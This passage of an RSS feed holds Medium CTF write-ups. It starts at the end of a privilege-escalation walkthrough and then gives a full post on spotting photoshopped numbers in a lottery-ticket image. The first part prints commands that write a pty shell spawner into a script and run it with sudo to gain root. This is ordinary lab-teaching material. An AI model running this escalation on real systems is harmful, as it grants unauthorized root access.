/home/meliodas/bak.py</p><p>$ echo ‘import pty; pty.spawn(“/bin/sh”)’ &gt; /home/meliodas/bak.py</p><p>$ sudo python /home/meliodas/bak.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*BmPlCp5xX5Q7M7_G.png" /></figure><p>and voila we got the root</p><p>thank you for reading — 0UR4N05</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0da17084e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lottery ticket ( brixel ctf )]]></title>
            <link>https://ouranos666.medium.com/lottery-ticket-brixel-ctf-edd0f7f80716?source=rss-69be23fb2c8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/edd0f7f80716</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[brixelctf]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[0UR4N05]]></dc:creator>
            <pubDate>Tue, 05 Jan 2021 22:11:06 GMT</pubDate>
            <atom:updated>2021-01-05T22:11:06.494Z</atom:updated>
            <content:encoded><![CDATA[<p>About the challenge :</p><p>Lottery ticket</p><p>Someone is trying to sell this lottery ticket online, it has the winning numbers but I suspect foul play</p><p>Can you tell me which the new numbers are that are photoshopped?</p><p>Add them all up, the resulting number is the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*q7bO4abYpCO79pWG.jpg" /></figure><p>This photo look very simple and not specious in the beginning but when you zoom in to the number there is another story .</p><p>In the challenge description there is a sentence about photoshopping the numbers and your way to get the flag is to get differences between the numbers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*mtyLy1wxIgKj-1Cm.png" /></figure><p>This is a regular number , a non photoshoped one , you can see the glishes in the numbers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*U5mpog-cPjIk2wXs.png" /></figure><p>but this is a high-quality number photo even when you zoom in , so you should just find the others and add them and you got the flag</p><p>— 0UR4N05 , thank you for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=edd0f7f80716" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>